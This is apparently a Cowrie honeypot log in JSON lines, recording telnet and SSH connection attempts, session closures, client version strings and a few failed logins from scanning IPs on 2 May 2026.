{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":43566,"dst_ip":"10.17.0.5","dst_port":23,"session":"96e214fbe7f0","protocol":"telnet","message":"New connection: 207.154.251.61:43566 (10.17.0.5:23) [session: 96e214fbe7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:55.246707Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51228,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bcbadcb7bc7","protocol":"telnet","message":"New connection: 104.245.105.2:51228 (10.17.0.5:23) [session: 1bcbadcb7bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:56.464740Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51230,"dst_ip":"10.17.0.5","dst_port":23,"session":"a85de594e973","protocol":"telnet","message":"New connection: 104.245.105.2:51230 (10.17.0.5:23) [session: a85de594e973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:57.166072Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":54262,"dst_ip":"10.17.0.5","dst_port":23,"session":"05655f1f9bfd","protocol":"telnet","message":"New connection: 207.154.251.61:54262 (10.17.0.5:23) [session: 05655f1f9bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:52:59.383455Z"}
{"eventid":"cowrie.session.closed","duration":43.3924036026001,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:01.327404Z","src_ip":"207.154.251.61","session":"16d526c5e846","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58042,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba2692d6196","protocol":"telnet","message":"New connection: 104.245.105.2:58042 (10.17.0.5:23) [session: 9ba2692d6196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:01.955176Z"}
{"eventid":"cowrie.session.closed","duration":31.695054531097412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:18.124553Z","src_ip":"122.41.20.148","session":"62ce062c3a00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":41840,"dst_ip":"10.17.0.5","dst_port":23,"session":"048a8f7b6a15","protocol":"telnet","message":"New connection: 207.154.251.61:41840 (10.17.0.5:23) [session: 048a8f7b6a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:18.708957Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":59232,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee8f53aecc3e","protocol":"telnet","message":"New connection: 207.154.251.61:59232 (10.17.0.5:23) [session: ee8f53aecc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:19.508721Z"}
{"eventid":"cowrie.session.closed","duration":120.0010175704956,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:24.818605Z","src_ip":"207.154.251.61","session":"612f7602577f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":103.47161793708801,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:26.184331Z","src_ip":"207.154.251.61","session":"31c05e7d957f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4697847366333,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:28.934352Z","src_ip":"104.245.105.2","session":"1bcbadcb7bc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99979853630066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:29.165765Z","src_ip":"104.245.105.2","session":"a85de594e973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.221969604492188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:32.177041Z","src_ip":"104.245.105.2","session":"9ba2692d6196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.69837021827698,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:36.427104Z","src_ip":"207.154.251.61","session":"5e43b49250eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.20183277130127,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:37.448395Z","src_ip":"207.154.251.61","session":"96e214fbe7f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.71869421005249,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:42.572683Z","src_ip":"207.154.251.61","session":"63f332dc09a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":54399,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2f271808c86","protocol":"ssh","message":"New connection: 103.149.252.223:54399 (159.203.135.109:22) [session: a2f271808c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:43.846987Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:43.851975Z","src_ip":"103.149.252.223","session":"a2f271808c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:43.855411Z","src_ip":"103.149.252.223","session":"a2f271808c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":33042,"dst_ip":"10.17.0.5","dst_port":23,"session":"92c67f6e2632","protocol":"telnet","message":"New connection: 207.154.251.61:33042 (10.17.0.5:23) [session: 92c67f6e2632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:44.500864Z"}
{"eventid":"cowrie.session.closed","duration":28.753785371780396,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:48.262377Z","src_ip":"207.154.251.61","session":"ee8f53aecc3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":60248,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbc5282bee41","protocol":"telnet","message":"New connection: 207.154.251.61:60248 (10.17.0.5:23) [session: bbc5282bee41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:49.372738Z"}
{"eventid":"cowrie.session.closed","duration":32.17879605293274,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:50.887623Z","src_ip":"207.154.251.61","session":"048a8f7b6a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":60252,"dst_ip":"10.17.0.5","dst_port":23,"session":"f14168e28c00","protocol":"telnet","message":"New connection: 207.154.251.61:60252 (10.17.0.5:23) [session: f14168e28c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:57.052837Z"}
{"eventid":"cowrie.session.closed","duration":120.00102639198303,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:53:59.169373Z","src_ip":"148.227.79.216","session":"68b109cd6c46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00160336494446,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:10.826313Z","src_ip":"207.154.251.61","session":"a0977acf81b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43604,"dst_ip":"10.17.0.5","dst_port":23,"session":"59fa85faf78a","protocol":"telnet","message":"New connection: 104.245.105.2:43604 (10.17.0.5:23) [session: 59fa85faf78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:10.969428Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":40050,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da2e22c15dc","protocol":"telnet","message":"New connection: 207.154.251.61:40050 (10.17.0.5:23) [session: 6da2e22c15dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:19.825756Z"}
{"eventid":"cowrie.session.closed","duration":38.25875687599182,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:22.759475Z","src_ip":"207.154.251.61","session":"92c67f6e2632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.974990367889404,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:26.347592Z","src_ip":"207.154.251.61","session":"bbc5282bee41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":88.2413501739502,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:27.624669Z","src_ip":"207.154.251.61","session":"05655f1f9bfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23569369316101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:28.288406Z","src_ip":"207.154.251.61","session":"f14168e28c00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46744394302368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:41.436747Z","src_ip":"104.245.105.2","session":"59fa85faf78a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":37216,"dst_ip":"10.17.0.5","dst_port":23,"session":"359cc7f5c086","protocol":"telnet","message":"New connection: 207.154.251.61:37216 (10.17.0.5:23) [session: 359cc7f5c086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:41.717973Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":36084,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca918392bcc","protocol":"telnet","message":"New connection: 207.154.251.61:36084 (10.17.0.5:23) [session: 5ca918392bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:48.401634Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":36094,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f3c77b675c5","protocol":"telnet","message":"New connection: 207.154.251.61:36094 (10.17.0.5:23) [session: 4f3c77b675c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:51.362540Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.241.79.66","src_port":39428,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3c0de7baa34","protocol":"ssh","message":"New connection: 120.241.79.66:39428 (10.17.0.5:22) [session: c3c0de7baa34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:52.554171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:54.173377Z","src_ip":"120.241.79.66","session":"c3c0de7baa34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.749985694885254,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:54:54.575608Z","src_ip":"207.154.251.61","session":"6da2e22c15dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":53940,"dst_ip":"10.17.0.5","dst_port":23,"session":"343e47f4fdb5","protocol":"telnet","message":"New connection: 207.154.251.61:53940 (10.17.0.5:23) [session: 343e47f4fdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:00.978333Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44154,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a4c8f74687f","protocol":"telnet","message":"New connection: 104.245.105.2:44154 (10.17.0.5:23) [session: 7a4c8f74687f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:04.317871Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.44.99","src_port":34734,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a1e6767a596","protocol":"ssh","message":"New connection: 167.71.44.99:34734 (159.203.135.109:22) [session: 2a1e6767a596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:06.959973Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:06.969353Z","src_ip":"167.71.44.99","session":"2a1e6767a596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.80667757987976,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:16.524536Z","src_ip":"207.154.251.61","session":"359cc7f5c086","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.33292508125305,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:28.695381Z","src_ip":"207.154.251.61","session":"4f3c77b675c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52060,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca52c225368","protocol":"telnet","message":"New connection: 104.245.105.2:52060 (10.17.0.5:23) [session: 9ca52c225368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:29.937519Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":2616,"dst_ip":"159.203.135.109","dst_port":23,"session":"e45d11d65f56","protocol":"telnet","message":"New connection: 34.38.38.134:2616 (159.203.135.109:23) [session: e45d11d65f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:35.529451Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":2622,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0c731bf566b","protocol":"telnet","message":"New connection: 34.38.38.134:2622 (159.203.135.109:23) [session: f0c731bf566b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:35.686858Z"}
{"eventid":"cowrie.session.closed","duration":0.0061702728271484375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:35.692883Z","src_ip":"34.38.38.134","session":"f0c731bf566b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":2630,"dst_ip":"159.203.135.109","dst_port":23,"session":"136e91815e95","protocol":"telnet","message":"New connection: 34.38.38.134:2630 (159.203.135.109:23) [session: 136e91815e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:35.843609Z"}
{"eventid":"cowrie.session.closed","duration":48.088672161102295,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:36.490163Z","src_ip":"207.154.251.61","session":"5ca918392bcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.531336307525635,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:37.849056Z","src_ip":"104.245.105.2","session":"7a4c8f74687f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.742038726806641,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:42.271364Z","src_ip":"34.38.38.134","session":"e45d11d65f56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60702,"dst_ip":"10.17.0.5","dst_port":23,"session":"40aebb0d76f4","protocol":"telnet","message":"New connection: 104.245.105.2:60702 (10.17.0.5:23) [session: 40aebb0d76f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:46.098915Z"}
{"eventid":"cowrie.session.closed","duration":46.26426959037781,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:47.242449Z","src_ip":"207.154.251.61","session":"343e47f4fdb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":38664,"dst_ip":"10.17.0.5","dst_port":23,"session":"b14b90f0e31a","protocol":"telnet","message":"New connection: 207.154.251.61:38664 (10.17.0.5:23) [session: b14b90f0e31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:52.596590Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24306,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad3be48f527","protocol":"telnet","message":"New connection: 34.38.38.134:24306 (159.203.135.109:23) [session: 9ad3be48f527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.000775Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.007690Z","src_ip":"34.38.38.134","session":"9ad3be48f527","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.014057Z","src_ip":"34.38.38.134","session":"9ad3be48f527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09298133850097656,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.093616Z","src_ip":"34.38.38.134","session":"9ad3be48f527","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24316,"dst_ip":"159.203.135.109","dst_port":23,"session":"c82e05f3bedc","protocol":"telnet","message":"New connection: 34.38.38.134:24316 (159.203.135.109:23) [session: c82e05f3bedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.166770Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24324,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f722dbd8fad","protocol":"telnet","message":"New connection: 34.38.38.134:24324 (159.203.135.109:23) [session: 2f722dbd8fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.322283Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24330,"dst_ip":"159.203.135.109","dst_port":23,"session":"b83e2b43af0c","protocol":"telnet","message":"New connection: 34.38.38.134:24330 (159.203.135.109:23) [session: b83e2b43af0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.477927Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24346,"dst_ip":"159.203.135.109","dst_port":23,"session":"a111600febcd","protocol":"telnet","message":"New connection: 34.38.38.134:24346 (159.203.135.109:23) [session: a111600febcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.633211Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44798,"dst_ip":"10.17.0.5","dst_port":23,"session":"5410a4a2d4e0","protocol":"telnet","message":"New connection: 104.245.105.2:44798 (10.17.0.5:23) [session: 5410a4a2d4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.665521Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24360,"dst_ip":"159.203.135.109","dst_port":23,"session":"162ee00848b9","protocol":"telnet","message":"New connection: 34.38.38.134:24360 (159.203.135.109:23) [session: 162ee00848b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.787128Z"}
{"eventid":"cowrie.session.closed","duration":0.27600574493408203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.909113Z","src_ip":"34.38.38.134","session":"a111600febcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.4355344772338867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.913325Z","src_ip":"34.38.38.134","session":"b83e2b43af0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7495949268341064,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.916240Z","src_ip":"34.38.38.134","session":"c82e05f3bedc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.5967261791229248,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.918891Z","src_ip":"34.38.38.134","session":"2f722dbd8fad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24376,"dst_ip":"159.203.135.109","dst_port":23,"session":"14aec71fc2b4","protocol":"telnet","message":"New connection: 34.38.38.134:24376 (159.203.135.109:23) [session: 14aec71fc2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.944628Z"}
{"eventid":"cowrie.session.closed","duration":20.106215000152588,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:55.949702Z","src_ip":"34.38.38.134","session":"136e91815e95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24378,"dst_ip":"159.203.135.109","dst_port":23,"session":"41f1e4debbf2","protocol":"telnet","message":"New connection: 34.38.38.134:24378 (159.203.135.109:23) [session: 41f1e4debbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:56.100551Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24392,"dst_ip":"159.203.135.109","dst_port":23,"session":"db496f2b05ea","protocol":"telnet","message":"New connection: 34.38.38.134:24392 (159.203.135.109:23) [session: db496f2b05ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:56.255902Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24394,"dst_ip":"159.203.135.109","dst_port":23,"session":"08423ae0543e","protocol":"telnet","message":"New connection: 34.38.38.134:24394 (159.203.135.109:23) [session: 08423ae0543e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:56.412181Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24398,"dst_ip":"159.203.135.109","dst_port":23,"session":"152dd7224225","protocol":"telnet","message":"New connection: 34.38.38.134:24398 (159.203.135.109:23) [session: 152dd7224225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:56.642874Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24414,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a12efff3fe","protocol":"telnet","message":"New connection: 34.38.38.134:24414 (159.203.135.109:23) [session: 34a12efff3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:56.834725Z"}
{"eventid":"cowrie.session.closed","duration":0.005498170852661133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:56.840086Z","src_ip":"34.38.38.134","session":"34a12efff3fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.38.134","src_port":24422,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce6d7d5b27db","protocol":"telnet","message":"New connection: 34.38.38.134:24422 (159.203.135.109:23) [session: ce6d7d5b27db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:55:56.991554Z"}
